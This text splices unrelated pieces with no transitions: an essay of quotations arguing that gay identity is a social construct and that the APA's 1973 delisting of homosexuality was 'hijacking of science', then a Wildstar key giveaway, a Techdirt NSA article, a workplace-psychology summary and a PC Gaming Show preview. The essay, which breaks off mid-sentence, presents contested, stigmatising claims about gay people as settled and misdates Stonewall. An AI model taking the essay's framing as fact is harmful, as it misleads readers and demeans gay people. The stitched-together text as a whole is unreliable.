In short, the gay lifestyle - if such a chaos can, after all, legitimately be called a lifestyle - it just doesn’t work: it doesn’t serve the two functions for which all social framework evolve: to constrain people’s natural impulses to behave badly and to meet their natural needs. While it’s impossible to provide an exhaustive analytic list of all the root causes and aggravants of this failure, we can asseverate at least some of the major causes. Many have been dissected, above, as elements of the Ten Misbehaviors; it only remains to discuss the failure of the gay community to provide a viable alternative to the heterosexual family. (Kirk and Madsen, After the Ball: How America Will Conquer Its Fear and Hatred of the Gays in the 90s, p.363)
Not all societies have a culture of sexual identity. In truth, the notion that individuals define themselves by their sexual desire or behavior is a rather exceptional social occurrence. (Pennington and Sojika, The Revolt Against Sexual Identity, p. 81 in The Social Construction of Sexuality by Steven Seidman)
In the 1990s, a new queer lesbian and gay emerged. The queer challenged the hetero-homosexual binary and a culture organized around separate, bounded sexual identities. Queer argue that the very notion of separate gender and sexual identities creates unnecessary divisions and inequalities. These identities serve to control us by demanding that we confirm to constraining norms of masculinity or femininity or being straight or gay. In this regard, queers challenge the aim of a movement bent on normalizing a homosexual identity. Such a movement, they argue, reinforces a culture of sexual and gender division and regulation. (Pennington and Sojika, The Revolt Against Sexual Identity, p. 85-86 in The Social Construction of Sexuality by Steven Seidman)
No matter how much identities provide an anchor for us and a basis for group formation, they control us, tell us how to be, and force us to repudiate aspects of ourselves. (Pennington and Sojika, The Revolt Against Sexual Identity, p. 86 in The Social Construction of Sexuality by Steven Seidman)
Homosexuality today expressed in a gay and lesbian identity may possibly be viewed as another model of homosexuality. Just as the others are historically and culturally specific so is the modern gay and lesbian. Being a gay and lesbian is not a unitary construct that is culturally transcendent across all societies today. A gay and lesbian is a social political identity limited to modern western cultures, although this gay and lesbian identity is gradually being expressed and adopted in other parts of the world. In this article it is the United States that is the specific emphasis. There may be references and quotes refereeing to other English speaking countries. But as seen in the above quotes there are already modern day challenges to a gay and lesbian political identity.
Historical and anthropological research has shown that homosexual persons (i.e. people who occupy a social position or role as homosexuals) do not exist in many societies, whereas homosexual behavior occurs virtually in every society. Therefore we must distinguish between homosexual behavior and homosexual identity. One term refers to one’s sexual activity per se (whether casual or regular); the other word defines homosexuality as a social role, with its emotional and sexual components. (Escoffier, American Homo: Community and Perversity, p.37)
The search for a theory of gay identity originated among gay Left intellectuals. Starting from an ethnic model of history that at first assumed an already existing identity or social group, they eventually discovered that homosexuals were historically constructed subjects. (Escoffier, Jeffrey. American Homo Community and Perversity, p.62)
[We should employ cross-cultural and historical evidence not only to chart changing attitudes but to challenge the very concept of a single trans-historical notion of homosexuality. In different cultures (and at different historical moments or conjunctures within the same culture) very different meanings are given to same-sex activity both by society at large and by the individual participants. The physical acts might be similar, but the social construction of meanings around them are profoundly different. The social integration of forms of pedagogic homosexual relations in ancient Greece have no continuity with contemporary notions of homosexual identity. To put it another way, the various possibilities of what Hocquenghem calls homosexual desire, or what more neutrally might be termed homosexual behaviors, which seem from historical evidence to be a permanent and ineradicable aspect of human sexual possibilities, are variously constructed in different cultures as an aspect of wider gender and sexual regulation. If this is the case, it is pointless discussing questions such as, what are the origins of homosexual oppression, or what is the nature of the homosexual taboo, as if there was a single, causative factor. The crucial question must be: what are the conditions for the emergence of this particular form of regulation of sexual behavior in this particular society? (Weeks, Against Nature, p. 15-16)
Transcending all these issues of lifestyle was the potent question of the gay identity itself. The gay identity is no more a product of nature than any other sexual identity. It has developed through a complex history of definitions and self-definition, and what recent histories of homosexuality have clearly revealed is that there is no necessary connection between sexual practices and sexual identity. (Weeks, Sexuality and Its Discontents Meanings, Myths and Modern Sexualities, p. 50)
The idea of a gay and lesbian identity sexual identity has been formulated over the last two decades. Historically it is the product of the gay and lesbian liberation movement, which, itself, grew out of the Black civil rights and women’s liberation movements of the fifties and sixties. Like ethnic identities, sexual identity assigns individuals to membership in a group, the gay lesbian community. Although sexual identity has become a group identity, its historical antecedents can be traced to the nineteen-century notion that homosexual men and women, each representative of a newly discovered biological specimen, represented a third sex. Homosexuality, which had been conceived primarily as an act was thereby transformed into an actor. (De Cecco, 1990b). Once actors had been created it was possible to assign them a group identity. Once a person became a member of a group, particularly one that has been stigmatized and marginal, identity as an individual was easily subsumed under group identity. (De Cecco and Parker, The Biology of Homosexuality: Sexual Orientation or Sexual Preference, p. 22-23 in Sex, Cells, and Same-Sex Desire: The Biology of Sexual, Preference, editors De Cecco and Parker)
The configuring of the meaning of homosexuality by its advocates into a lifestyle alternative or minority status, and the movement of lesbians and gay men into the social center parallels the transformation of the social role of the African-Americans and women during the same period. (Seidman, Embattled Eros, p.148-149)
On the one hand, lesbians and gay men have made themselves an effective force in the USA over the past several decades largely by giving themselves what the civil rights movement had: a public collective identity. Gay and lesbian social movements have built a quasi-ethnicity, complete with its own political and culture institutions, festivals, neighborhoods, even its own flag. Underlying that ethnicity is typically the notion that what gays and lesbians share - the anchor of minority rights claim is the same fixed, natural essence, a self with same-sex desires. The shared oppression, these movements have forcefully claimed, is denial of the freedoms and opportunities to actualize this self. In this ethiniclessentialist politic, clear categories of collective identity are necessary for successful resistance and political gain. (Gamson, Must Identity Movements Self-Destruct?, p.516)
Lesbian and gay historians have asked questions about the origins of gay liberation and lesbian feminism, and have come up with some surprising answers. Rather than finding a silent, oppressed, gay minority in all times and all places, historians have discovered that gay identity is a recent, Western, historical construction. Jeffrey Weeks, Jonathan Katz and Lillian Faderman, for example have traced the emergence of lesbian and gay identity in the late nineteenth century. Similarly John DEmilio, Allan Berube and the Buffalo Oral History Project have described how this identity laid the basis for organized political activity in the years following World War II.
The work of lesbian and gay historians has also demonstrated that human sexuality is not a natural, timeless given, but is historically shaped and politically regulated. (Duggan, History’s Gay Ghetto: The Contradictions of Growth in Lesbian and Gay History, p.151-152 in Sex Wars edited by Duggan & Hunter, Sex Wars)
It isn’t at all obvious why a gay rights movement should ever have arisen in the United States in the first place. And it’s profoundly puzzling why that movement should have become far and away the most powerful such political formation in the world. Same gender sexual acts have been commonplace throughout history and across cultures. Today, to speak with surety about a matter for which there is absolutely no statistical evidence, more adolescent male butts are being penetrated in the Arab world, Latin American, North Africa and Southeast Asia then in the west.
But the notion of a gay identity rarely accompanies such sexual acts, nor do political movements arise to make demands in the name of that identity. It’s still almost entirely in the Western world that the genders of one’s partner is considered a prime marker of personality and among Western nations it is the United States - a country otherwise considered a bastion of conservatism - that the strongest political movement has arisen centered around that identity.
We’ve only begun to analyze why, and to date can say little more then that certain significant pre-requisites developed in this country, and to some degree everywhere in the western world, that weren’t present, or hadn’t achieved the necessary critical mass, elsewhere. Among such factors were the weakening of the traditional religious link between sexuality and procreation (one which had made non-procreative same gender desire an automatic candidate for denunciation as unnatural). Secondly the rapid urbanization and industrialization of the United States, and the West in general, in the nineteen-century weakened the material (and moral) authority of the nuclear family, and allowed mavericks to escape into welcome anonymity of city life, where they could choose a previously unacceptable lifestyle of singleness and nonconformity without constantly worrying about parental or village busybodies pouncing on them. (Duberman, Left Out, p. 414 - 415.)
I have argued that lesbian and gay identity and communities are historically created, the result of a process of capitalist development that has spanned many generations. A corollary of this argument is that we are not a fixed social minority composed for all time of a certain percentage of the population. There are more of us than one hundred years ago, more of us than forty years ago. And there may very well be more gay men and lesbians in the future. Claims made by gays and nongays that sexual orientation is fixed at an early age, that large numbers of visible gay men and lesbians in society, the media, and schools will have no influence on the sexual identities of the young, are wrong. Capitalism has created the material conditions for homosexual desire to express itself as a central component of some individuals lives; now, our political movements are changing consciousness, creating the ideological conditions that make it easier for people to make that choice. (DEmilio, “Capitalism and Gay Identity”, p. 473-474 in The Lesbian and Gay Studies Reader by Henry Abelove, Michele Aine Barale and David M. Halperin)
There is a wealth of cross-cultural evidence that point to the existence of numerous models of homosexuality varying in origins, subjective states and manifest behaviors. But the parameters of the discussion are still best framed as Who one is, a homosexual or What one does, homosexuality. The support for the latter is the strongest.
Descriptions of the Greeks, the berdaches, and the Sambia should make us a little unsure about our categories homosexual and heterosexual -least, they should make us think more carefully about what we mean by these words. But if we are a little confused about categories, perhaps we can agree on a few simple facts about human sexuality: (1) same-sex eroticism has existed for thousands of years in vastly different times cultures; (2) in some cultures, same-sex eroticism was accepted as normal aspect of human sexuality, practiced by nearly all individuals some of the time; and (3) in nearly every culture that has been examined in any detail, a few individuals seem to experience a compelling and abiding sexual orientation toward their own sex. (Mondimore, A Natural History of Homosexuality, p.20)
The reality is that this gay identity, a pattern of essentially exclusive male homosexuality familiar to us which has been exceedingly rare or unknown in cultures that required or expected all males to engage in homosexual activity. So I would argue this gay identity should be seen as a model of homosexuality, as a social movement, a political identity, and a life-style. Therefore the psychosocial conditions of being gay today must be understood in their own cultural place and historical time.
Psychological theory, which should be employed to describe only individual mental, emotional, and behavioral aspects of homosexuality, has been employed for building models of personal development that purport to mark the steps in an individual’s progression toward a mature and egosyntonic gay or lesbian identity. The embracing and disclosing of such an identity, however, is best understood as a political phenomenon occurring in a historical period during which identity politics has become a become a consuming occupation. (De Cecco, Sex, Cells, and Same-Sex Desire: The Biology of Sexual, Preference p.21)
Being gay cannot be seen as a monolithic and invariant identity label culturally valid for ancient cultures and societies. As has been repeatedly stated, historically and culturally the pattern was for heterosexuality, marriage, and procreation. Although there have been cases, which are exceptions to the norm, instances of adult same sex behavior, and when they took place, they are almost always tolerated, and looked down upon with disapproval.
Certainly the gay movement is specialized somewhat to class and urban social formations, and it must be seen from the perspective of the decontextualization of sex. Only by disengaging sexuality from the traditions of family, reproduction, and parenthood was the evolution of the gay movement a social and historical likeihood. (Herdt, 1987b). (Herdt, Developmental Discontuntinuties and Sexual Orientation Across Cultures, p. 224 in Homosexuality/Heterosexuality Concepts of Sexual Orientation edited by McWhirter, Sanders, and Reinisch)
It is the myth of gay identity, the belief that homosexuals are a different kind of people.
Gay identity is one of the great working myths of our age. Even though it is based on the ideas of gender and sex that have more to do with folklore than science, it occupies a central position in the beliefs and principles that govern our behaviors. It is a significant element of our social organization of gender and sexuality. The myth holds us all in thrall, not just those who have adopted the gay role.
We begin with the premise that there exists an evident distinction between (1) homosexual feelings, (2) homosexual behavior, and (3) the homosexual role. The argument presented here is that homosexual feelings play a minor part in becoming gay, which is chiefly is the result of adopting the homosexual role.
Being gay is always a matter of self-definition. No matter what your sexual proclivities or experience, you are not gay until you decide you are. (DuBay, Gay Identity The Self Under Ban, p.1-2)
The gay myth is responsible for the creation of the gay community, which is an assemblage, not of people who share the same sexual orientation (they don’t), but of those who have adopted the gay role. Underlying the many facets of gay life is an overriding concern with the gay role. The conversation and behavior of gay-identified individual reveals that what distinguishes them from others is not their sexual identity but their identity, their consciousness of being a people set apart. And what sets them apart is their joint commitment to a role created by a society solely for the purposes of controlling and isolating behaviors. (DuBay, Gay Identity The Self Under Ban, p.2-3)
Gay people there are, and some are indeed different, but it is not their sexuality that makes them different. Their real differences, as significant as they may be, are now submerged in the emphasis of the gay myth on sexual difference. If anything, it is their sexuality that they have most in common with all humans. We can end this introduction with one more appeal added to countless others, an appeal almost totally ignored by the academic and medical establishments: Gayness, unlike the medical term homosexuality, has nothing to do with sex or sexual orientation. It concerns a wide range of divergent behaviors that set some people apart from others in their appearance, gender behavior, emotional sensibilities, intellectual powers, and their perspective of the world. (DuBay, Gay Identity The Self Under Ban, p.12)
Even today in our "modern western culture", accepting a gay identity is a developmental discontinuity in our society. Heterosexuality still continues to be the norm. A "gay identity" began evolving within large population centers in the late nineteenth century. In the United States there was rapid growth as the result of the coming together of large groups of men to fight in World War Two. These men from rural and small town America began knowing "others just like themselves". It has been more recent, since the 1960s that there has been the emergence of the individuals who do not marry, but accept the idea of being single and gay. Before this time most individuals would be married and their homosexuality was expressed in sexual acts with members of the same sex. Perhaps the largest milestone in the emergence of a modern "gay identity" took place on June 12, 1969, in New York City at a gay bar called Stonewall Inn. This was an act of resistance, a riot by drag queens mourning the death of Judy Garland. Stonewall was a group of effeminate men, wearing women’s clothes resisting police authority, during a raid on the gay bar. This event is often linked with the beginning of the gay liberation movement.
Stonewall
In short, the political and cultural environment had undergone a liberalizing shift which had created the opportunity for the emergence of a mass homosexual movement. (Engel, The Unfinished Revolution: Social Movement Theory and the Gay and Lesbian Movement, p.38)
Ironically, when the uprising finally occurred, many people failed to recognize its significance. Looking back, however, there is no denying that what began, as a skirmish at a Greenwhich Village bar became the harbinger for a new movement of human rights. Detailed accounts of Stonewall have taken on the quality of myth, as more people remember being there than could have possibly have fit in the tiny grimy bar. It is generally accepted that a diverse group of bar patrons, led by the drag queens who were Stonewall regulars, spontaneously began to fight back during a police raid. The resistance turned into a riot, which lasted for several days. (Kranz & Cusick, Gay Rights: Revised Edition, p. 35)
The years leading up to Stonewall saw a breach in the assimilationist attitudes of the docile homophiles of the previous generation in favour of more revolutionary ones of people who craved more purely sexual freedom. (Archer, The End Gay, p.91)
But in the 1960s and 1970s, the gay movement broke decisively with the assimilationist rhetoric of the 1950s by publicly affirming, celebrating, and even cultivating homosexual difference. (Chauncey, Why Marriage? The History Shaping Todays Debate Over Gay Equality, p.29)
An event that took place on June 12, 1969, in New York City at a gay bar called, the Stonewall Inn, had great social and cultural historical significance in the development of the concept of the modern homosexual who soon adopted what is known as a gay identity. This was an act of resistance, a riot by drag queens mourning the death of Judy Garland. It was a group of effeminate men, wearing women’s clothes resisting police authority, during a raid on the gay bar. What started out as a typical raid by the police, a shake down for bribery from a gay bar turned out much differently. This event is often linked with the beginning of the gay liberation movement. It should be noted that it was a fringe group of homosexuals, and not representative individuals of the homosexual community at large who displayed this physical resistance.
Stonewall was an act of resistance to police authority by multiracial drag queens mourning the death of Judy Garland, long divinized by gays. Therefore Stonewall had a cultural meaning beyond the political: it was a pagan insurrection by the reborn transvestite priests of Cybele. (Paglia, Vamps and Tramps, p. 67)
In the 1970s gay liberation was the name of a major theoretical challenge to assimilation as well as minoritization. Early activists and writers argued that gay liberation could transform all sexual and gender relations; they argued against marriage and monogamy and against existing family structures (Altman 1981; Jay and Young 1972). (Phelan, Sexual Strangers: Gays, Lesbians, and Dilemmas of Citizenship, p. 108-109)
Gay liberation had somehow evolved into the right to have a good time-the right to enjoy bars, discos, drugs, and frequent impersonal sex. (Clendinen and Nagourney, Out for Good: The Struggle to Build a Gay Rights Movement in America, p.445)
After the 1969 Stonewall riots, a homosexual emancipation movement emerged. This movement, called gay liberation, resulted from a clash of two cultures and two generations-the homosexual subculture of the 1950 and 1960s and the New Left counterculture of 1960s youth. Ideologically, the camp sensibility of the 1950s and early 1960s had served as a strategy of containment; it had balanced its scorn for the principle of consistency with a bitter consciousness of oppression in a framework that offered no vision of historical change. The gay liberationists, who had rarely had much appreciation for traditional gay life, proposed a radical cultural revolution. Instead of protecting the right to privacy, gay liberation radicals insisted on coming out- the public disclosure of one’s homosexuality- which then became the centerpiece of gay political strategy. (Escoffier, American Homo Community and Perversity, p.58)
American Psychiatric Association
Another historically significant event in the development of the concept of the modern homosexual occurred in the early 1970s. This was the decision in 1973 by the APA, American Psychiatric Association, to remove homosexuality from the lists of sexual disorders in the Diagnostic and Statistical Manual. Homosexual advocates acknowledge the hijacking of science for political gain.
Why was it decided at this specific point in time that homosexuality was not pathological after being listed as one for 23 years? For certain it was not a decision based upon new scientific evidence, for there was very little to support homosexuality. It was as a result of a three-year social/political campaign by gay activists, pro-gay psychiatrists and gay psychiatrists, not as a result of valid scientific studies. Rather the activities were public disturbances, rallies, protests, and social/political pressure from others outside of the APA upon the APA. There also was a sincere belief held by liberal-minded and compassionate psychiatrists that listing homosexuality as a psychiatric disorder supported and reinforced prejudice against homosexuals. Removal of the term from the diagnostic manual was viewed as a humane, progressive act. A third influencing factor was an acceptance of new criteria to define psychiatric conditions. Only those disorders that caused a patient to suffer or that resulted in adjustment problems were thought to be appropriate for inclusion in the Diagnostic and Statistical Manual. Adding to the push for removal was an acknowledgment of the extraordinary resistance of homosexuality to psychiatric intervention, for overcoming homosexuality. Some passions and prejudices were involved with this decision as well. In actuality this action was taken with such unconventional speed that normal channels for consideration of the issues were circumvented. This was a time period of great social upheaval and change, civil rights for blacks, the Vietnam war, and of course, the sexual revolution. Though the Board of Trustees voted 13 to 0, a referendum sent to 25,000 APA members only 25 % responded, and of these only 58% favored removing homosexuality from the list of disorders. Follow up surveys of the members of the APA continued to show that many members consider homosexuality to be pathological and a disorder. Also APA members report that the problems of homosexuals had more to do with their inner conflicts then with stigmatization by society at large. It is not what is now termed homophobia. Ronald Bayer in his book, Homosexuality and the American Psychiatry: The Politics of Diagnosis covers in depth the removal of homosexuality by the APA from the Diagnostic and Statistical Manuel of Mental Disorders.
The decision of the American Psychiatric Association to delete homosexuality from its published list of sexual disorders in 1973 was scarcely a cool, scientific decision. It was a response to a political campaign fueled by the belief that its original inclusion as a disorder was a reflection of an oppressive politico-medical definition of homosexuality as a problem. (Weeks, Jeffery. Sexuality and Its Discontents Meanings, Myths and Modern Sexualities, p. 213)
It was the militant organization of homosexuals, not any scientific breakthrough, that led to the removal of homosexuality from the list of diseases of the American Psychiatric Association in 1974. (Weeks, Sexuality, p.85)
Of course, to mount this counterattack, gays and lesbians must challenge authority of scientists, and that is exactly what gay rights activists did when they campaigned to have homosexuality removed from the APA’s list of mental disorders. In fact, those activists argued that homosexuality is not a disease but a lifestyle choice. Although that argument was successful in the early 1970s, the political climate has changed in such a way that gay rights advocates no longer want homosexuality to be thought of as an immutable characteristic, and the gay gene discourse helps them in this effort. (Brookey, Reinventing the Male Homosexual: The Rhetoric and Power of the Gay Gene, p. 43)
In 1973, by a vote of 5,854 to 3,810, the diagnostic category of homosexuality was eliminated from the Diagnostic and Statistical Manual of Mental Disorders (DSM) of the American Psychiatric Association (Bayer 1981). (Donohue and Caselles, Homophobia: Conceptual, Definitional, and Value Issues, p. 66 Wright, and Cummings. Destructive Trends in Mental Health The Well-Intentioned Path to Harm, editors Wright, and Cummings)
Perhaps the greatest policy success of the early 1970s was the American Psychiatric Association’s 1973-74 decision to remove homosexuality from its official Diagnostic and Statistical Manual list of mental disorders. This decision did not come about because a group of doctors suddenly changed their views; it followed an aggressive and sustained campaign by lesbian and gay activists. (Rimmerman, From Identity to Politics: The Lesbian and Gay Movements in the United States, p. 85-86)
Writing about the 1973 decision and the dispute that surrounded it, Bayer (1981) contended that these changes were produced by political rather than scientific factors. Bayer argued that the revision represented the APA’s surrender to political and social pressures, not new data or scientific theories regarding on human sexuality. (Donohue and Caselles, Homophobia: Conceptual, Definitional, and Value Issues, p. 66 Wright, and Cummings. Destructive Trends in Mental Health The Well-Intentioned Path to Harm, editors Wright, and Cummings)
The APA’s very process of a medical judgment arrived at by parliamentary method set off more arguments than it settled. Many members felt that the trustees, in acting contrary to diagnostic knowledge, had responded to intense propagandistic pressures from militant homophile organizations. Politically we said homosexuality is not a disorder, one psychiatrist admitted, but privately most of us felt it is. (Kronemeyer, Overcoming Homosexuality, p.5)
The removing of homosexuality as a sexual disorder was as a result of a three year long social/political campaign by gay activists, pro-gay psychiatrists and gay psychiatrists, not as a result of valid scientific studies. Rather the activities were public disturbances, rallies, protests, and social/political pressure from within by gay psychiatrists and by others outside of the APA upon the APA. The action of removing homosexuality was taken with such unconventional speed |
. Don't worry, that still means a trial period packed full of questing, Adventures, Dungeons and more.
Update: The keys have all been taken. Those that successfully claimed one should be getting their email soon.
How do you redeem the key? First, if you don't yet have one, create an NCSoft account.
Then, follow these steps:
Log into your account using the official WILDSTAR website. Click "APPLY A CODE" on the red banner near the top of the page. Enter your personal serial key and click Apply. If you receive a success message, you're good to go. If not double-check the serial key is entered correctly. Download the client by clicking “Download Game” in the Account Summary box.
Remember: keys can be redeemed from Tuesday, 29 July, and they must be activated by Sunday, 3 August. Also, Wildstar is rated PEGI 12+.
For more on Wildstar, check out our review, or see below for Carbine's introductory trailer.Dianne Feinstein Won't Let Declassified Facts Get In The Way Of Defending 'Professional' NSA Personnel
from the it's-not-as-if-this-info-is-hard-to-find,-what-with-the-internet-and-all dept
It appears Dianne Feinstein can't be bothered to read (or be read to via briefings) the latest ODNI releases in order to stay on top of the situation she's supposedly overseeing. In Mike's article about her most recent defense of the NSA (TL;DF: "The NSA would never abuse its powers because it's staffed with 'professionals.'"), she made the following claim:
And this goes to where this metadata goes. Because the N.S.A. are professionals. They are limited in number to 22 who have access to the data. Two of them are supervisors. They are vetted. They are carefully supervised.
Subject to the restrictions and procedures below, up to 125 analysts may be authorized to access the BR metadata for purposes of obtaining foreign intelligence information through contact chaining [xxxxxxxxxxxxxxxxxxx] ("queries") using telephone identifiers, as described in the [xxxxx] Declaration at paragraphs 8-13.
The Court understands that for purposes of analytical efficiency a copy of meta data obtained pursuant to the Court's Orders in this matter will be stored in the same database with data obtained pursuant to other authorities and data provided to NSA from other sources. Access to such records shall be strictly limited in accordance with the procedures set forth in paragraphs A-G.
But that's simply not true. First off, many of the documents note thatmembers of the NSA hold the power to approve queries and contact chaining. Being off by a single person isn't a big deal. Recent personnel changes could have temporarily reduced that number to 22. (However, the number does hold steady at 23 in the boilerplate attached to many of the orders spanning 2008-2011.)Where she'swrong is the number of people who haveto the metadata. Here's what the court order from Feb. 2010 says That's quite a few more than Dianne Feinstein admits to while trying to downplay instances of abuse by NSA personnel. The fewer analysts you have dipping into the data, the fewer chances you have of someone abusing their powers. But 22 sounds a lot more careful than "up to 125." Twenty-two people may be approving queries, but many, many more analysts have access to the metadata.This number doesn't even include those tasked with organizing the haystack by removing "high-volume identifiers" like restaurants, retail outlets and other businesses that are used by many people but hold very little significance in the contact chain. That isset of analysts with access, the number of which has yet to be publicized.In addition, these analysts (number unclear but certainly more than the 22/23 authorized to make query decisions) have access tothan phone metadata. Another document from the ODNI release (Jan. 2008) points out that the NSA dumps all of its collections (Section 702 is mentioned specifically earlier in the order but others are alluded to) into one big pile -- a pile these "professionals"have access to.So, it's not just metadata abuse we need to worry about. The potential exists for these approved analysts to abuse nearly everything the NSA collects. Obviously, walls between collections would make intelligence gathering much more difficult, but Dianne Feinstein and the other members of the NSA pep squad need to get their facts right before making statements so easily proven false.This is the famous oversight we've heard so much about (which seems to fill any remaining lung space not taken by 9/11 invocations): it starts out wrong and gets worse. It can't even stay current with documents released to the great unwashed (i.e., constituents) and that are for all intents and purposes. There's nothing "new" here as everything released this past week dates from 2006-2011. If anything, Dianne Feinstein should be 2-7 years ahead of the rest of us. Instead, she opens her mouth to release canned defensive statements and removes all doubt that "NSA oversight" is nothing more than distorted jingoism that mistakes subservience to the surveillance state for patriotism.
Filed Under: dianne feinstein, metadata, nsa, surveillanceBy Alex Fradera
When you experience frustrations at work – spats with colleagues, or last-minute demands – it’s natural to want to voice your feelings. And surely it’s healthier. After all, better out than in! Not according to new evidence in the European Journal of Work and Organizational Psychology that shows complaining about negative events actually cements their impact. The researchers Evangelia Demeroutia and Russell Cropanzano recommend trying instead to meet the slings and arrows of everyday indignity with all the “sportsmanship” you can muster.
Demeroutia and Cropanzano, at Eindhoven University of Technology and the University of Colorado at Boulder, asked 112 employed people – from areas like finance, industry and healthcare – to complete diaries for three days in a row. At the end of each day, participants reported how much they had engaged in complaining during that day, how much they’d been focused on what was wrong with the situations they’d been in, and finally, how much they’d tended to make mountains out of molehills. Low scores across these items meant the participant had practiced “good sportsmanship”.
The researchers also asked participants to record in their dairies a single negative event they’d experienced during each day, and to rate its severity. Additionally, participants rated how much they felt a variety of moods during the day, like energetic or inspired, and their engagement with work through items like “Today, I felt proud of the work I did.”
When sportsmanship was low, worse negative events took a greater toll on participants – they not only reported lower momentary mood and less satisfaction and pride with the work they’d been doing that same day, but they also tended to experience lower mood the next morning, measured in a separate diary entry, and lower pride in next-day accomplishments.
But when sportsmanship was high – meaning that participants hadn’t complained, escalated minor issues, or stewed over things too much – bad events, even if rated as severe, didn’t impact mood or work engagement, that day or the next. Demeroutia and Cropanzano think there may be two reasons for this. Firstly, revisiting the event gives it a second wind, further reinforcing the association between it and the normally transient negative emotions that were initially provoked, turning a bad experience into That Bad Experience. Secondly, if complaints are poorly expressed or directed at the wrong person, they can exacerbate the situation, and that’s all too possible when you are still caught up in a drama.
The researchers stress that they are not asking people to refrain from talking about bad things. When a problem keeps manifesting in an organisation or relationship you need to resolve it, and that begins by putting it into words. But purposeless complaining can just as easily be a way to avoid moving on, the out-loud version of mental rumination keeping us in its undertow. Demeroutia and Cropanzano point to more constructive methods like expressive writing, which have an evidence base showing success in making sense of negative experience. This form of reflection, or attentive conversation focused on straightening out a knotty problem, are vastly preferred to unconstructive venting.
—The buffering role of sportsmanship on the effects of daily negative events
Image via gettyimages.co.uk
Alex Fradera (@alexfradera) is Contributing Writer at BPS Research DigestWho’s slated to attend, what they might show, and who has told us they’re skipping out.
The inaugural PC Gaming Show was perhaps the single most excruciating event to be broadcast live from last year's E3. And that's saying something.
Looking back, it's hard to decide which was the worst part. Maybe it was how Sean Murray ended the show by chuckling to himself over year-old trailers of No Man's Sky. Or perhaps it was when Chris Roberts phoned it in from England simply to remind people that Star Citizen was still being made. Any way you slice it, the PC Gamer-powered, AMD-sponsored event was kind of a disaster. So this year, they decided to try again. What's changing? So far as we can tell, almost nothing besides the start time: noon PT on Monday, June 13. This year's show will have the same host — the likable Sean "Day9" Plott — and the same late-night-talk-show format. It's also, I'm told, only going to run about half as long as last year's debacle. But, given virtually the same laundry list of participants and sponsors, I'm not holding my breath. Here are all the companies who have confirmed their participation, and one that pulled out of the event, as well as some thoughts on what to expect from each of them.
Blizzard Entertainment
Blizzard Entertainment Last year, the team from Blizzard plopped down to talk about Heroes of the Storm's first campaign, Eternal Conflict, and introduce a few new characters. Since then, the game has seen good traction among MOBA fans. Feature: The mad scientists of Blizzard Polygon spoke to the team at Blizzard to learn the methods behind sound in video games. With events like BlizzCon and E3 itself garnering more attention for properties like World of Warcraft, we expect Blizzard will take a similar approach to the PC Gaming Show this year. As it turns out, Heroes of the Storm fans are expecting a big overhaul to ranked play to drop right after E3. It will introduce the game's first ranked season, with all-new tiers and divisions as well as other features. Blizzard's time on the couch could be devoted to that upgrade, or a yet-unannounced, follow-up campaign. Of course, it's possible that Blizzard could use its time to talk about Hearthstone instead, whose latest expansion, Whispers of the Old Gods, has kicked that collectible card game's community into high gear.
Bohemia Interactive The team behind Arma 3 should have a lot to talk about with the game's next expansion on the horizon, Apex. The centerpiece is a 100-square-kilometer South Pacific island archipelago called Tanoa. What was teased last year was exciting, featuring unique terrain like extinct volcanoes, quarries, dense jungle and the 60-year-old remains of World War II fighter planes. For modders looking to build Vietnam-themed missions, it's sure to be a windfall. Also on the horizon for Arma 3 is a rather impressive graphics overhaul, new vehicles and weapons, and a much-anticipated cooperative campaign. Meanwhile, Bohemia's DayZ team recently released its 0.60 update to the experimental branch of the game, and longtime fans are telling me that it solves many of the game's performance problems. Look for creative director Brian Hicks to stop by for an update on the road ahead.
Cloud Imperium Games Last year, developer Chris Roberts promised to show up in person at the 2016 PC Gaming Show to talk about Star Citizen. However, Polygon has learned that Roberts will not be on hand. Cloud Imperium will not be participating in the PC Gaming Show despite agreeing several months ago to do so. A representative for Cloud Imperium tells us that Roberts sent PC Gamer his regrets just a few weeks ago, saying that his schedule won't allow for a trip to Los Angeles. In fact, the studio is skipping E3 entirely. Instead, the spokesperson tells us that Roberts will be devoting all his efforts to work on Squadron 42 at his studio in England. The rep added that the studio will have something to show at Gamescom in August.
The Creative Assembly Total War: Warhammer just launched, and with luck, The Creative Assembly will be on hand to talk about more than just how well it's been selling. Some hints as to the first batch of downloadable content would be welcome. There's also the off chance they could have more information on Total War: Arena, the free-to-play multiplayer version of the classic series, which was first announced in 2013. The very first footage of alpha gameplay was shown a little more than a year ago. Hands-on with LawBreakers It's not over till it's over in Cliff Bleszinski's next big project Nexon While we haven't been told for certain, it's safe to assume that Nexon's sacrificial offering to the PC Gaming Show will be Cliff Bleszinski, who will no doubt want to talk more about LawBreakers. His gravity-defying multiplayer shooter is shaping up nicely, so expect him to bring a few features or maybe even a map to share with the PC crowd. Relic Entertainment Not long ago, the first official trailer for Warhammer 40,000: Dawn of War 3 landed, and it now sits on my short list of the very best trailers of all time. Just look at it. It's... majestic.
With luck, the cutscenes will come close to matching that kind of cinematic vision of the 40K universe. The gameplay itself looks much more traditional, however, thanks to some early screenshots that accompanied PC Gamer's hands-off preview. Here's hoping a blue-ribbon panel from Relic Entertainment is there for an extended, live gameplay demo, the likes of which were sorely missing from the show last year. There are few franchises that so oversaturate the games market. We've got high hopes for Dawn of War 3 being the flagship digital experience of the Games Workshop classic. Studio Wildcard Ark: Survival Evolved is barely a year old, but it's already mopping the floor with lesser survival games. A nasty lawsuit notwithstanding, the Studio Wildcard team has been churning out new modes and maps like crazy. The most recent release, The Center, is more fantastical than anything yet released and features giant waterfalls, underground forests and all manner of prehistoric beasts.
After a bit of a hiatus, expect co-founder Jesse Rapczak to be on hand to discuss a renewed focus on esports-type "last man standing" events held in partnership with Twitch. TaleWorlds Entertainment Those who've followed PC gaming over the last decade will no doubt remember the Mount & Blade series. Critically and popularly acclaimed for both its melee combat and deep strategic layer, the game was in many ways ahead of its time. Four years ago, the team announced a proper sequel, Mount & Blade 2: Bannerlord, and then promptly dropped off the face of the earth. Word is, Bannerlord will have a big unveiling at this year's E3. Even if TaleWorlds isn't anticipating having the big reveal during the PC Gaming show, I expect the studio will have something interesting to share. Torn Banner Studios The team that burst onto the scene with Chivalry: Medieval Warfare is back with a brighter, more magical melee game called Mirage: Arcane Warfare. A playable version was available for fans at PAX East, and our own Brian Crecente had some hands-on time with it. In the original Chivalry, which started out as a Half-Life 2 mod before being recreated and improved using Unreal Engine 3, players warred against one another in a medieval setting using swords, polearms, battleaxes and other weapons of the era. What helped to set the game apart was the precise controls needed to succeed in the game … and the ultra-violence that often ended a clash with lopped off limbs and geysers of blood. Mirage, created with Unreal Engine 4 for Windows PC, will feature the same level of violence, but this time it won't just be the result of melee combat. All six classes in the game use both magic and weapons in 